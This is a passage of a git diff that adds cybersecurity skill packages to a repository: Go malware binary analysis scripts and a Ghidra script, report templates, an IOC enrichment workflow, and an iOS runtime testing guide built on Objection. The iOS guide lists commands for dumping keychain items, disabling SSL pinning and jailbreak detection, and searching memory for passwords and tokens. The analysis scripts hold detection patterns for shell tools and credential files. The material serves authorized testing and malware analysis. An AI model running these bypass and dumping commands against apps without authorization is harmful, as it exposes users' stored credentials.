+ for match in ascii_pattern.finditer(data): + s = match.group().decode('ascii') + # Filter for interesting malware strings + interesting = [ + 'http', 'https', 'tcp', 'udp', 'dns', + 'cmd', 'shell', 'exec', 'upload', 'download', + 'encrypt', 'decrypt', 'key', 'token', 'password', + 'c2', 'beacon', 'agent', 'implant', 'bot', + 'mutex', 'persist', 'registry', 'scheduled', + ] + if any(kw in s.lower() for kw in interesting): + strings.append(s) + + return strings + + +def extract_dependencies(data): + """Extract Go module dependencies from binary.""" + deps = [] + # Module paths follow pattern: github.com/user/repo + dep_pattern = re.compile( + rb'((?:github\.com|gitlab\.com|golang\.org|gopkg\.in|' + rb'go\.etcd\.io|google\.golang\.org)/[^\x00\s]{5,80})' + ) + + for match in dep_pattern.finditer(data): + dep = match.group().decode('utf-8', errors='replace') + deps.append(dep) + + unique_deps = sorted(set(deps)) + return unique_deps + + +def analyze_go_binary(filepath): + """Full analysis of Go malware binary.""" + with open(filepath, 'rb') as f: + data = f.read() + + print(f"[+] Analyzing Go binary: {filepath}") + print(f" File size: {len(data):,} bytes") + print("=" * 60) + + # Build info + find_go_build_info(data) + + # pclntab + pclntab_offset, go_version = find_pclntab(data) + + # Functions + functions = extract_function_names(data, pclntab_offset) + print(f"\n[+] Recovered {len(functions)} function names") + + # Categorize functions + categories = { + "network": [], "crypto": [], "os_exec": [], + "file_io": [], "main": [], "third_party": [], + } + for f in functions: + if 'net/' in f or 'http' in f.lower(): + categories["network"].append(f) + elif 'crypto' in f: + categories["crypto"].append(f) + elif 'os/exec' in f or 'syscall' in f: + categories["os_exec"].append(f) + elif 'os.' in f or 'io/' in f: + categories["file_io"].append(f) + elif f.startswith('main.'): + categories["main"].append(f) + elif 'github.com' in f or 'golang.org' in f: + categories["third_party"].append(f) + + for cat, funcs in categories.items(): + if funcs: + print(f"\n [{cat}] ({len(funcs)} functions):") + for fn in funcs[:10]: + print(f" {fn}") + + # Dependencies + deps = extract_dependencies(data) + print(f"\n[+] Dependencies ({len(deps)}):") + for dep in deps[:20]: + print(f" {dep}") + + # Suspicious strings + sus_strings = extract_go_strings(data) + print(f"\n[+] Suspicious strings ({len(sus_strings)}):") + for s in sus_strings[:20]: + print(f" {s}") + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ") + sys.exit(1) + analyze_go_binary(sys.argv[1]) +``` + +### Step 2: Ghidra Analysis Script + +```python +# Ghidra script (run within Ghidra's script manager) +# Save as AnalyzeGoBinary.py in Ghidra scripts directory + +# @category MalwareAnalysis +# @description Analyze Go binary structure and recover metadata + +def analyze_go_binary_ghidra(): + """Ghidra script for Go binary analysis.""" + from ghidra.program.model.mem import MemoryAccessException + + program = getCurrentProgram() + memory = program.getMemory() + listing = program.getListing() + + print("[+] Go Binary Analysis Script") + print(f" Program: {program.getName()}") + + # Find pclntab + pclntab_magics = [ + bytes([0xf0, 0xff, 0xff, 0xff]), # Go 1.20+ + bytes([0xf1, 0xff, 0xff, 0xff]), # Go 1.18-1.19 + bytes([0xfa, 0xff, 0xff, 0xff]), # Go 1.16-1.17 + bytes([0xfb, 0xff, 0xff, 0xff]), # Go 1.2-1.15 + ] + + for magic in pclntab_magics: + addr = memory.findBytes( + program.getMinAddress(), magic, None, True, None + ) + if addr: + print(f"[+] pclntab found at {addr}") + # Create label + program.getSymbolTable().createLabel( + addr, "go_pclntab", None, + ghidra.program.model.symbol.SourceType.ANALYSIS + ) + break + + # Fix Go string definitions + # Go strings are ptr+len, not null terminated + print("[+] Fixing Go string references...") + + # Search for function names containing package paths + symbol_table = program.getSymbolTable() + func_count = 0 + for symbol in symbol_table.getAllSymbols(True): + name = symbol.getName() + if ('.' in name and + any(pkg in name for pkg in + ['main.', 'runtime.', 'net.', 'crypto.', 'os.'])): + func_count += 1 + + print(f"[+] Found {func_count} Go function symbols") + + +# Execute +analyze_go_binary_ghidra() +``` + +## Validation Criteria + +- Go version and build information extracted from binary +- pclntab located and parsed for function name recovery +- Third-party dependencies identified revealing malware capabilities +- Main package functions enumerated for targeted analysis +- Network, crypto, and OS exec functions categorized +- Ghidra analysis correctly labels Go runtime structures + +## References + +- [CUJO AI - Reverse Engineering Go Binaries with Ghidra](https://cujo.com/blog/reverse-engineering-go-binaries-with-ghidra/) +- [Volexity GoResolver](https://www.volexity.com/blog/2025/04/01/goresolver-using-control-flow-graph-similarity-to-deobfuscate-golang-binaries-automatically/) +- [Go Reverse Engineering Tool Kit](https://go-re.tk/about/) +- [SentinelOne AlphaGolang](https://www.sentinelone.com/labs/alphagolang-a-step-by-step-go-malware-reversing-methodology-for-ida-pro/) +- [Go Binary Reversing Notes](https://gist.github.com/0xdevalias/4e430914124c3fd2c51cb7ac2801acba) diff --git a/skills/analyzing-golang-malware-with-ghidra/assets/template.md b/skills/analyzing-golang-malware-with-ghidra/assets/template.md new file mode 100644 index 00000000..8b2f0ced --- /dev/null +++ b/skills/analyzing-golang-malware-with-ghidra/assets/template.md @@ -0,0 +1,35 @@ +# Go Malware Analysis Report + +## Sample Information +| Field | Value | +|-------|-------| +| SHA-256 | | +| File Size | | +| Go Version | | +| Architecture | amd64 / arm64 / 386 | +| Stripped | Yes / No | +| Obfuscated | Yes (garble) / No | + +## Recovered Functions +| Category | Count | Key Functions | +|----------|-------|---------------| +| main | | | +| networking | | | +| crypto | | | +| os/exec | | | +| third-party | | | + +## Dependencies +| Module | Purpose | +|--------|---------| +| | | + +## C2 Infrastructure +| Indicator | Type | Value | +|-----------|------|-------| +| | URL / IP / Domain | | + +## Recommendations +1. Block identified C2 infrastructure +2. Create YARA rule for unique Go function signatures +3. Monitor for similar Go binary compilation artifacts diff --git a/skills/analyzing-golang-malware-with-ghidra/references/standards.md b/skills/analyzing-golang-malware-with-ghidra/references/standards.md new file mode 100644 index 00000000..26146461 --- /dev/null +++ b/skills/analyzing-golang-malware-with-ghidra/references/standards.md @@ -0,0 +1,29 @@ +# Go Binary Analysis Standards + +## Go Binary Structure +| Component | Description | Location | +|-----------|-------------|----------| +| pclntab | PC-to-function mapping table | .gopclntab or .text | +| moduledata | Runtime metadata structure | .noptrdata | +| itab | Interface method tables | .rodata | +| buildinfo | Go version and module info | .go.buildinfo | +| typelinks | Type descriptor table | .rodata | + +## pclntab Magic Bytes by Go Version +| Magic | Go Version | +|-------|-----------| +| 0xFBFFFFFF | 1.2 - 1.15 | +| 0xFAFFFFFF | 1.16 - 1.17 | +| 0xF1FFFFFF | 1.18 - 1.19 | +| 0xF0FFFFFF | 1.20+ | + +## Common Go Malware Families +- Sliver C2 implant +- Geacon (Go Cobalt Strike beacon) +- GoBruteforcer +- Kaiji botnet +- Chaos botnet (Go-based) + +## References +- [Go Runtime Source](https://github.com/golang/go/tree/master/src/runtime) +- [Go Internal ABI](https://go.dev/s/regcallabi) diff --git a/skills/analyzing-golang-malware-with-ghidra/references/workflows.md b/skills/analyzing-golang-malware-with-ghidra/references/workflows.md new file mode 100644 index 00000000..da39f406 --- /dev/null +++ b/skills/analyzing-golang-malware-with-ghidra/references/workflows.md @@ -0,0 +1,37 @@ +# Go Malware Analysis Workflows + +## Workflow 1: Stripped Binary Recovery +``` +[Stripped Go Binary] --> [Find pclntab] --> [Recover Function Names] + | + v + [Apply GoResolver] --> [Deobfuscate Names] + | + v + [Categorize Functions] +``` + +## Workflow 2: Full Ghidra Analysis +``` +[Go Binary] --> [Import to Ghidra] --> [Run Go Analysis Scripts] + | + v + [Fix String References] + | + v + [Identify main Package] + | + v + [Analyze C2/Network Logic] +``` + +## Workflow 3: Dependency-Based Capability Assessment +``` +[Go Binary] --> [Extract Module Info] --> [List Dependencies] + | + v + [Map to Capabilities] + | + v + [Prioritize Analysis] +``` diff --git a/skills/analyzing-golang-malware-with-ghidra/scripts/process.py b/skills/analyzing-golang-malware-with-ghidra/scripts/process.py new file mode 100644 index 00000000..1951c7d4 --- /dev/null +++ b/skills/analyzing-golang-malware-with-ghidra/scripts/process.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python3 +""" +Go Malware Binary Analyzer + +Extracts metadata, function names, dependencies, and suspicious +indicators from Go-compiled malware binaries. + +Usage: + python process.py --file malware.exe --output report.json +""" + +import argparse +import json +import re +import struct +import sys +from pathlib import Path + + +PCLNTAB_MAGICS = { + b'\xf0\xff\xff\xff': "Go 1.20+", + b'\xf1\xff\xff\xff': "Go 1.18-1.19", + b'\xfa\xff\xff\xff': "Go 1.16-1.17", + b'\xfb\xff\xff\xff': "Go 1.2-1.15", +} + + +def find_pclntab(data): + for magic, version in PCLNTAB_MAGICS.items(): + offset = data.find(magic) + if offset != -1: + return offset, version + return None, None + + +def extract_go_version(data): + match = re.search(rb'go(\d+\.\d+(?:\.\d+)?)', data) + return match.group(1).decode() if match else "unknown" + + +def extract_functions(data): + func_pattern = re.compile( + rb'((?:main|runtime|fmt|net|os|crypto|encoding|io|sync|' + rb'syscall|reflect|strings|bytes|path|time|math|sort|' + rb'github\.com|golang\.org|gopkg\.in)[/\.][\w/.]+)' + ) + functions = set() + for match in func_pattern.finditer(data): + name = match.group(1).decode('utf-8', errors='replace') + if 4 < len(name) < 200: + functions.add(name) + return sorted(functions) + + +def extract_dependencies(data): + dep_pattern = re.compile( + rb'((?:github\.com|gitlab\.com|golang\.org|gopkg\.in|' + rb'go\.etcd\.io|google\.golang\.org)/[\w./-]{5,80})' + ) + deps = set() + for match in dep_pattern.finditer(data): + dep = match.group(1).decode('utf-8', errors='replace') + # Clean up trailing artifacts + dep = dep.rstrip('/.') + deps.add(dep) + return sorted(deps) + + +def extract_suspicious_strings(data): + interesting_patterns = [ + rb'https?://[\w./:?&=-]+', + rb'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(?::\d+)?', + rb'(?:cmd|powershell|bash|sh)(?:\.exe)?', + rb'(?:HKLM|HKCU)\\[^\x00]+', + rb'/etc/(?:passwd|shadow|crontab)', + ] + + results = {} + for pattern in interesting_patterns: + matches = re.findall(pattern, data) + if matches: + decoded = [m.decode('utf-8', errors='replace') for m in matches] + results[pattern.decode('utf-8', errors='replace')] = list(set(decoded)) + + return results + + +def categorize_functions(functions): + categories = { + "main_logic": [], + "networking": [], + "cryptography": [], + "os_execution": [], + "file_operations": [], + "third_party": [], + "runtime": [], + } + + for func in functions: + fl = func.lower() + if func.startswith('main.'): + categories["main_logic"].append(func) + elif any(x in fl for x in ['net/', 'http', 'tcp', 'udp', 'dns']): + categories["networking"].append(func) + elif 'crypto' in fl: + categories["cryptography"].append(func) + elif any(x in fl for x in ['os/exec', 'syscall']): + categories["os_execution"].append(func) + elif any(x in fl for x in ['os.', 'io/', 'ioutil']): + categories["file_operations"].append(func) + elif any(x in fl for x in ['github.com', 'golang.org', 'gopkg.in']): + categories["third_party"].append(func) + elif func.startswith('runtime.'): + categories["runtime"].append(func) + + return {k: v for k, v in categories.items() if v} + + +def analyze(filepath): + with open(filepath, 'rb') as f: + data = f.read() + + report = { + "file": str(filepath), + "size": len(data), + "go_version": extract_go_version(data), + } + + pclntab_offset, pclntab_version = find_pclntab(data) + report["pclntab"] = { + "offset": f"0x{pclntab_offset:x}" if pclntab_offset else None, + "version": pclntab_version, + } + + functions = extract_functions(data) + report["total_functions"] = len(functions) + report["function_categories"] = categorize_functions(functions) + + report["dependencies"] = extract_dependencies(data) + report["suspicious_strings"] = extract_suspicious_strings(data) + + return report + + +def main(): + parser = argparse.ArgumentParser(description="Go Malware Analyzer") + parser.add_argument("--file", required=True, help="Go binary to analyze") + parser.add_argument("--output", help="Output JSON report") + + args = parser.parse_args() + report = analyze(args.file) + + print(json.dumps(report, indent=2)) + + if args.output: + with open(args.output, 'w') as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-indicators-of-compromise/SKILL.md b/skills/analyzing-indicators-of-compromise/SKILL.md new file mode 100644 index 00000000..6bb9f1de --- /dev/null +++ b/skills/analyzing-indicators-of-compromise/SKILL.md @@ -0,0 +1,148 @@ +--- +name: analyzing-indicators-of-compromise +description: > + Analyzes indicators of compromise (IOCs) including IP addresses, domains, file hashes, URLs, + and email artifacts to determine maliciousness confidence, campaign attribution, and blocking + priority. Use when triaging IOCs from phishing emails, security alerts, or external threat feeds; + enriching raw IOCs with multi-source intelligence; or making block/monitor/whitelist decisions. + Activates for requests involving VirusTotal, AbuseIPDB, MalwareBazaar, MISP, or IOC enrichment pipelines. +domain: cybersecurity +subdomain: threat-intelligence +tags: [IOC, VirusTotal, AbuseIPDB, MalwareBazaar, MISP, threat-intelligence, STIX, NIST-CSF] +version: 1.0.0 +author: mahipal +license: MIT +--- +# Analyzing Indicators of Compromise + +## When to Use + +Use this skill when: +- A phishing email or alert generates IOCs (URLs, IP addresses, file hashes) requiring rapid triage +- Automated feeds deliver bulk IOCs that need confidence scoring before ingestion into blocking controls +- An incident investigation requires contextual enrichment of observed network artifacts + +**Do not use** this skill in isolation for high-stakes blocking decisions — always combine automated enrichment with analyst judgment, especially for shared infrastructure (CDNs, cloud providers). + +## Prerequisites + +- VirusTotal API key (free or Enterprise) for multi-AV and sandbox lookup +- AbuseIPDB API key for IP reputation checks +- MISP instance or TIP for cross-referencing against known campaigns +- Python with `requests` and `vt-py` libraries, or SOAR platform with pre-built connectors + +## Workflow + +### Step 1: Normalize and Classify IOC Types + +Before enriching, classify each IOC: +- **IPv4/IPv6 address**: Check if RFC 1918 private (skip external enrichment), validate format +- **Domain/FQDN**: Defang for safe handling (`evil[.]com`), extract registered domain via tldextract +- **URL**: Extract domain + path separately; check for redirectors +- **File hash**: Identify hash type (MD5/SHA-1/SHA-256); prefer SHA-256 for uniqueness +- **Email address**: Split into domain (check MX/DMARC) and local part for pattern analysis + +Defang IOCs in documentation (replace `.` with `[.]` and `://` with `[://]`) to prevent accidental clicks. + +### Step 2: Multi-Source Enrichment + +**VirusTotal (file hash, URL, IP, domain)**: +```python +import vt + +client = vt.Client("YOUR_VT_API_KEY") + +# File hash lookup +file_obj = client.get_object(f"/files/{sha256_hash}") +detections = file_obj.last_analysis_stats +print(f"Malicious: {detections['malicious']}/{sum(detections.values())}") + +# Domain analysis +domain_obj = client.get_object(f"/domains/{domain}") +print(domain_obj.last_analysis_stats) +print(domain_obj.reputation) +client.close() +``` + +**AbuseIPDB (IP addresses)**: +```python +import requests + +response = requests.get( + "https://api.abuseipdb.com/api/v2/check", + headers={"Key": "YOUR_KEY", "Accept": "application/json"}, + params={"ipAddress": "1.2.3.4", "maxAgeInDays": 90} +) +data = response.json()["data"] +print(f"Confidence: {data['abuseConfidenceScore']}%, Reports: {data['totalReports']}") +``` + +**MalwareBazaar (file hashes)**: +```python +response = requests.post( + "https://mb-api.abuse.ch/api/v1/", + data={"query": "get_info", "hash": sha256_hash} +) +result = response.json() +if result["query_status"] == "ok": + print(result["data"][0]["tags"], result["data"][0]["signature"]) +``` + +### Step 3: Contextualize with Campaign Attribution + +Query MISP for existing events matching the IOC: +```python +from pymisp import PyMISP + +misp = PyMISP("https://misp.example.com", "API_KEY") +results = misp.search(value="evil-domain.com", type_attribute="domain") +for event in results: + print(event["Event"]["info"], event["Event"]["threat_level_id"]) +``` + +Check Shodan for IP context (hosting provider, open ports, banners) to identify if the IP belongs to bulletproof hosting or a legitimate cloud provider (false positive risk). + +### Step 4: Assign Confidence Score and Disposition + +Apply a tiered decision framework: +- **Block (High Confidence ≥ 70%)**: ≥15 AV detections on VT, AbuseIPDB score ≥70, matches known malware family or campaign +- **Monitor/Alert (Medium 40–69%)**: 5–14 AV detections, moderate AbuseIPDB score, no campaign attribution +- **Whitelist/Investigate (Low <40%)**: ≤4 AV detections, no abuse reports, legitimate service (Google, Cloudflare CDN IPs) +- **False Positive**: Legitimate business service incorrectly flagged; document and exclude from future alerts + +### Step 5: Document and Distribute + +Record findings in TIP/MISP with: +- All enrichment data collected (timestamps, source, score) +- Disposition decision and rationale +- Blocking actions taken (firewall, proxy, DNS sinkhole) +- Related incident ticket number + +Export to STIX indicator object with confidence field set appropriately. + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **IOC** | Indicator of Compromise — observable network or host artifact indicating potential compromise | +| **Enrichment** | Process of adding contextual data to a raw IOC from multiple intelligence sources | +| **Defanging** | Modifying IOCs (replacing `.` with `[.]`) to prevent accidental activation in documentation | +| **False Positive Rate** | Percentage of benign artifacts incorrectly flagged as malicious; critical for tuning block thresholds | +| **Sinkhole** | DNS server redirecting malicious domain lookups to a benign IP for detection without blocking traffic entirely | +| **TTL** | Time-to-live for an IOC in blocking controls; IP indicators should expire after 30 days, domains after 90 days | + +## Tools & Systems + +- **VirusTotal**: Multi-engine malware scanner and threat intelligence platform with 70+ AV engines, sandbox reports, and community comments +- **AbuseIPDB**: Community-maintained IP reputation database with 90-day abuse report history +- **MalwareBazaar (abuse.ch)**: Free malware hash repository with YARA rule associations and malware family tagging +- **URLScan.io**: Free URL analysis service that captures screenshots, DOM, and network requests for phishing URL triage +- **Shodan**: Internet-wide scan data providing hosting provider, open ports, and banner information for IP enrichment + +## Common Pitfalls + +- **Blocking shared infrastructure**: CDN IPs (Cloudflare 104.21.x.x, AWS CloudFront) may legitimately host malicious content but blocking the IP disrupts thousands of legitimate sites. +- **VT score obsession**: Low VT detection count does not mean benign — zero-day malware and custom APT tools often score 0 initially. Check sandbox behavior, MISP, and passive DNS. +- **Missing defanging**: Pasting live IOCs in emails or Confluence docs can trigger automated URL scanners or phishing tools. +- **No expiration policy**: IOCs without TTLs accumulate in blocklists indefinitely, generating false positives as infrastructure is repurposed by legitimate users. +- **Over-relying on single source**: VirusTotal aggregates AV opinions — all may be wrong or lag behind emerging malware. Use 3+ independent sources for high-stakes decisions. diff --git a/skills/analyzing-ios-app-security-with-objection/SKILL.md b/skills/analyzing-ios-app-security-with-objection/SKILL.md new file mode 100644 index 00000000..b286c9e9 --- /dev/null +++ b/skills/analyzing-ios-app-security-with-objection/SKILL.md @@ -0,0 +1,186 @@ +--- +name: analyzing-ios-app-security-with-objection +description: > + Performs runtime mobile security exploration of iOS applications using Objection, a Frida-powered + toolkit that enables security testers to interact with app internals without jailbreaking. Use when + assessing iOS app security posture, bypassing client-side protections, dumping keychain items, + inspecting filesystem storage, and evaluating runtime behavior. Activates for requests involving + iOS security testing, Objection runtime analysis, Frida-based iOS assessment, or mobile runtime + exploration. +domain: cybersecurity +subdomain: mobile-security +author: mahipal +tags: [mobile-security, ios, objection, frida, owasp-mobile, penetration-testing] +version: 1.0.0 +license: MIT +--- +# Analyzing iOS App Security with Objection + +## When to Use + +Use this skill when: +- Performing runtime security assessment of iOS applications during authorized penetration tests +- Inspecting iOS keychain, filesystem, and memory for sensitive data exposure +- Bypassing client-side security controls (SSL pinning, jailbreak detection) during security testing +- Evaluating iOS app behavior at runtime without access to source code + +**Do not use** this skill on production devices without explicit authorization -- Objection modifies app runtime behavior and may trigger security monitoring. + +## Prerequisites + +- Python 3.10+ with pip +- Objection installed: `pip install objection` +- Frida installed: `pip install frida-tools` +- Target iOS device (jailbroken with Frida server, or non-jailbroken with repackaged IPA) +- For non-jailbroken: `objection patchipa` to inject Frida gadget into IPA +- macOS recommended for iOS testing (Xcode, ideviceinstaller) +- USB connection to target device or network Frida server + +## Workflow + +### Step 1: Prepare the Testing Environment + +**For jailbroken devices:** +```bash +# Install Frida server on device via Cydia/Sileo +# SSH to device and start Frida server +ssh root@ "/usr/sbin/frida-server -D" + +# Verify Frida connectivity +frida-ps -U # List processes on USB-connected device +``` + +**For non-jailbroken devices (authorized testing):** +```bash +# Patch IPA with Frida gadget +objection patchipa --source target.ipa --codesign-signature "Apple Development: test@example.com" + +# Install patched IPA +ideviceinstaller -i target-patched.ipa +``` + +### Step 2: Attach Objection to Target App + +```bash +# Attach to running app by bundle ID +objection --gadget "com.target.app" explore + +# Or spawn the app fresh +objection --gadget "com.target.app" explore --startup-command "ios hooking list classes" +``` + +Once attached, Objection provides an interactive REPL for runtime exploration. + +### Step 3: Assess Data Storage Security (MASVS-STORAGE) + +```bash +# Dump iOS Keychain items accessible to the app +ios keychain dump + +# List files in app sandbox +ios plist cat Info.plist +env # Show app environment paths + +# Inspect NSUserDefaults for sensitive data +ios nsuserdefaults get + +# List SQLite databases +sqlite connect app_data.db +sqlite execute query "SELECT * FROM credentials" + +# Check for sensitive data in pasteboard +ios pasteboard monitor +``` + +### Step 4: Evaluate Network Security (MASVS-NETWORK) + +```bash +# Disable SSL/TLS certificate pinning +ios sslpinning disable + +# Verify pinning is bypassed by observing traffic in Burp Suite proxy +# Monitor network-related class method calls +ios hooking watch class NSURLSession +ios hooking watch class NSURLConnection +``` + +### Step 5: Inspect Authentication and Authorization (MASVS-AUTH) + +```bash +# List all Objective-C classes +ios hooking list classes + +# Search for authentication-related classes +ios hooking search classes Auth +ios hooking search classes Login +ios hooking search classes Token + +# Hook authentication methods to observe parameters +ios hooking watch method "+[AuthManager validateToken:]" --dump-args --dump-return + +# Monitor biometric authentication calls +ios hooking watch class LAContext +``` + +### Step 6: Assess Binary Protections (MASVS-RESILIENCE) + +```bash +# Check jailbreak detection implementation +ios jailbreak disable + +# Simulate jailbreak detection bypass +ios jailbreak simulate + +# List loaded frameworks and libraries +memory list modules + +# Search memory for sensitive strings +memory search "password" --string +memory search "api_key" --string +memory search "Bearer" --string + +# Dump specific memory regions +memory dump all dump_output/ +``` + +### Step 7: Review Platform Interaction (MASVS-PLATFORM) + +```bash +# List URL schemes registered by the app +ios info binary +ios bundles list_frameworks + +# Hook URL scheme handlers +ios hooking watch method "-[AppDelegate application:openURL:options:]" --dump-args + +# Monitor clipboard access +ios pasteboard monitor + +# Check for custom keyboard restrictions +ios hooking search classes UITextField +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Objection** | Runtime mobile exploration toolkit built on Frida that provides pre-built scripts for common security testing tasks | +| **Frida Gadget** | Shared library injected into app process to enable Frida instrumentation without jailbreak | +| **Keychain** | iOS secure credential storage system; Objection can dump items accessible to the target app's keychain access group | +| **SSL Pinning Bypass** | Runtime modification of certificate validation logic to allow proxy interception of HTTPS traffic | +| **Method Hooking** | Intercepting Objective-C/Swift method calls at runtime to observe arguments, return values, and modify behavior | + +## Tools & Systems + +- **Objection**: High-level Frida-powered mobile security exploration toolkit with pre-built commands +- **Frida**: Dynamic instrumentation framework providing JavaScript injection into native app processes +- **Frida-tools**: CLI utilities for Frida including frida-ps, frida-trace, and frida-discover +- **ideviceinstaller**: Cross-platform tool for installing/managing iOS apps via USB +- **Burp Suite**: HTTP proxy for intercepting traffic after SSL pinning bypass + +## Common Pitfalls + +- **App crashes on attach**: Some apps implement Frida detection. Use `--startup-command` to hook anti-Frida checks early in the app lifecycle. +- **Keychain access scope**: Objection can only dump keychain items within the app's access group. System keychain items require separate jailbreak-level tools. +- **Swift name mangling**: Swift method names are mangled in the runtime. Use `ios hooking list classes` with grep to find demangled names. +- **Non-persistent changes**: All Objection modifications are runtime-only and reset on app restart. Document findings immediately. diff --git a/skills/analyzing-ios-app-security-with-objection/assets/template.md b/skills/analyzing-ios-app-security-with-objection/assets/template.md new file mode 100644 index 00000000..5dcfbe72 --- /dev/null +++ b/skills/analyzing-ios-app-security-with-objection/assets/template.md @@ -0,0 +1,80 @@ +# iOS Objection Security Assessment Report + +## Engagement Information + +| Field | Value | +|-------|-------| +| Application | [APP_NAME] | +| Bundle ID | [BUNDLE_ID] | +| iOS Version | [IOS_VERSION] | +| Device | [DEVICE_MODEL] | +| Device State | [Jailbroken/Non-Jailbroken] | +| Assessment Date | [DATE] | +| Analyst | [ANALYST] | +| Objection Version | [VERSION] | + +## Executive Summary + +[Brief narrative of findings from Objection runtime analysis] + +## Keychain Analysis + +| Service | Account | Data Type | Protection Class | Risk | +|---------|---------|-----------|-----------------|------| +| [SERVICE] | [ACCOUNT] | [TYPE] | [CLASS] | [RISK] | + +**Findings**: [Description of sensitive data found in keychain] + +## Data Storage Assessment + +### NSUserDefaults +| Key | Contains Sensitive Data | Risk | +|-----|----------------------|------| +| [KEY] | [YES/NO] | [RISK] | + +### SQLite Databases +| Database | Encrypted | Sensitive Tables | Risk | +|----------|-----------|-----------------|------| +| [DB_NAME] | [YES/NO] | [TABLES] | [RISK] | + +### Filesystem +| Path | Contents | Protection | Risk | +|------|----------|-----------|------| +| [PATH] | [DESCRIPTION] | [ATTRIBUTE] | [RISK] | + +## Network Security + +| Check | Result | Details | +|-------|--------|---------| +| SSL Pinning Present | [YES/NO] | [IMPLEMENTATION_DETAILS] | +| SSL Pinning Bypass | [SUCCESS/FAIL] | [METHOD_USED] | +| ATS Configuration | [STRICT/RELAXED] | [EXCEPTIONS] | + +## Binary Protection Assessment + +| Protection | Status | Details | +|-----------|--------|---------| +| Jailbreak Detection | [Present/Absent] | [BYPASS_DIFFICULTY] | +| Frida Detection | [Present/Absent] | [DETAILS] | +| Debug Detection | [Present/Absent] | [DETAILS] | +| Code Obfuscation | [Yes/No] | [DETAILS] | + +## Memory Analysis + +| Search Pattern | Found | Risk | Details | +|---------------|-------|------|---------| +| Passwords | [YES/NO] | [RISK] | [DETAILS] | +| Auth Tokens | [YES/NO] | [RISK] | [DETAILS] | +| API Keys | [YES/NO] | [RISK] | [DETAILS] | +| JWTs | [YES/NO] | [RISK] | [DETAILS] | + +## Recommendations + +### Critical +1. [RECOMMENDATION] + +### High +1. [RECOMMENDATION] + +### Medium +1. [RECOMMENDATION] diff --git a/skills/analyzing-ios-app-security-with-objection/references/standards.md b/skills/analyzing-ios-app-security-with-objection/references/standards.md new file mode 100644 index 00000000..f8ee5a43 --- /dev/null +++ b/skills/analyzing-ios-app-security-with-objection/references/standards.md @@ -0,0 +1,43 @@ +# Standards Reference: iOS App Security with Objection + +## OWASP Mobile Top 10 2024 Mapping + +| OWASP ID | Risk | Objection Testing Coverage | +|----------|------|---------------------------| +| M1 | Improper Credential Usage | Keychain dumping, memory string search for hardcoded credentials | +| M3 | Insecure Authentication/Authorization | Hook authentication methods, bypass biometric checks | +| M5 | Insecure Communication | SSL pinning bypass, network class hooking | +| M7 | Insufficient Binary Protections | Jailbreak detection bypass, Frida detection assessment | +| M8 | Security Misconfiguration | Info.plist review, URL scheme analysis, ATS configuration | +| M9 | Insecure Data Storage | NSUserDefaults inspection, SQLite database access, file system review | + +## OWASP MASVS v2.0 Control Mapping + +| MASVS Category | Objection Commands | Assessment Area | +|----------------|-------------------|-----------------| +| MASVS-STORAGE | `ios keychain dump`, `ios nsuserdefaults get`, `sqlite connect` | Sensitive data in keychain, NSUserDefaults, databases | +| MASVS-CRYPTO | `memory search`, hook crypto framework calls | Key storage, algorithm selection | +| MASVS-AUTH | Hook LAContext, authentication classes | Biometric bypass, session management | +| MASVS-NETWORK | `ios sslpinning disable`, hook NSURLSession | Certificate pinning, cleartext traffic | +| MASVS-PLATFORM | Hook URL scheme handlers, pasteboard monitor | Deep link security, clipboard exposure | +| MASVS-CODE | `memory list modules`, binary inspection | Debugging symbols, framework analysis | +| MASVS-RESILIENCE | `ios jailbreak disable`, Frida detection hooks | Anti-tampering, anti-debugging | + +## OWASP MASTG Test Cases + +| Test ID | Description | Objection Approach | +|---------|-------------|-------------------| +| MASTG-TEST-0053 | Testing Local Storage for Sensitive Data | `ios keychain dump`, filesystem inspection | +| MASTG-TEST-0057 | Testing Backups for Sensitive Data | Check backup exclusion attributes | +| MASTG-TEST-0060 | Testing Custom URL Schemes | Hook `application:openURL:options:` | +| MASTG-TEST-0063 | Testing for Sensitive Data in Logs | Monitor NSLog calls via hooking | +| MASTG-TEST-0066 | Testing Enforced App Transport Security | Inspect Info.plist ATS configuration | + +## Apple Platform Security Requirements + +| Requirement | Assessment Method | +|-------------|-------------------| +| Keychain Access Control | Verify kSecAttrAccessible values via keychain dump | +| App Transport Security | Check Info.plist for NSAllowsArbitraryLoads exceptions | +| Data Protection API | Verify file protection attributes on sensitive files | +| Secure Enclave Usage | Hook SecKey operations for biometric-protected keys | diff --git a/skills/analyzing-ios-app-security-with-objection/references/workflows.md b/skills/analyzing-ios-app-security-with-objection/references/workflows.md new file mode 100644 index 00000000..aeae0a4f --- /dev/null +++ b/skills/analyzing-ios-app-security-with-objection/references/workflows.md @@ -0,0 +1,83 @@ +# Workflows: iOS App Security with Objection + +## Workflow 1: iOS Runtime Security Assessment + +``` +[Setup Environment] --> [Prepare Device] --> [Attach Objection] --> [Runtime Analysis] + | | | | + v v v v +[Install Frida] [Jailbroken: Start [Connect via USB] [Data Storage Check] +[Install Objection] frida-server] [Spawn target app] [Network Security] + [Non-JB: Patch IPA] [Auth Mechanism Review] + [Binary Protection Test] + | + v + [Document Findings] + [Generate Report] +``` + +## Workflow 2: SSL Pinning Bypass for Traffic Interception + +``` +[Configure Burp Proxy] --> [Set device proxy] --> [Attach Objection] + | + v + [ios sslpinning disable] + | + v + [Navigate app in browser/UI] + | + v + [Capture HTTPS traffic in Burp] + [Analyze API endpoints] + [Test authentication flows] + [Check for sensitive data in transit] +``` + +## Workflow 3: Keychain and Data Storage Assessment + +``` +[Attach Objection] --> [ios keychain dump] --> [Analyze keychain items] + | | + v v + [ios nsuserdefaults get] [Check protection classes] + | [Identify sensitive tokens] + v [Verify encryption at rest] + [List app sandbox files] + | + v + [sqlite connect *.db] + [Query sensitive tables] + | + v + [memory search "password"] + [memory search "token"] + [memory search "secret"] +``` + +## Workflow 4: Jailbreak Detection Assessment + +``` +[Attach Objection] --> [ios jailbreak disable] --> [Navigate app] + | | + v [App functions normally?] + [Hook detection methods] / \ + [Monitor file checks] [Yes] [No] + [Monitor Cydia URL scheme] | | + | [Detection [Additional detection + v bypassed] methods exist] + [Document detection | + methods found] [Hook deeper: search + [Assess bypass for custom checks] + difficulty] [Frida script for + 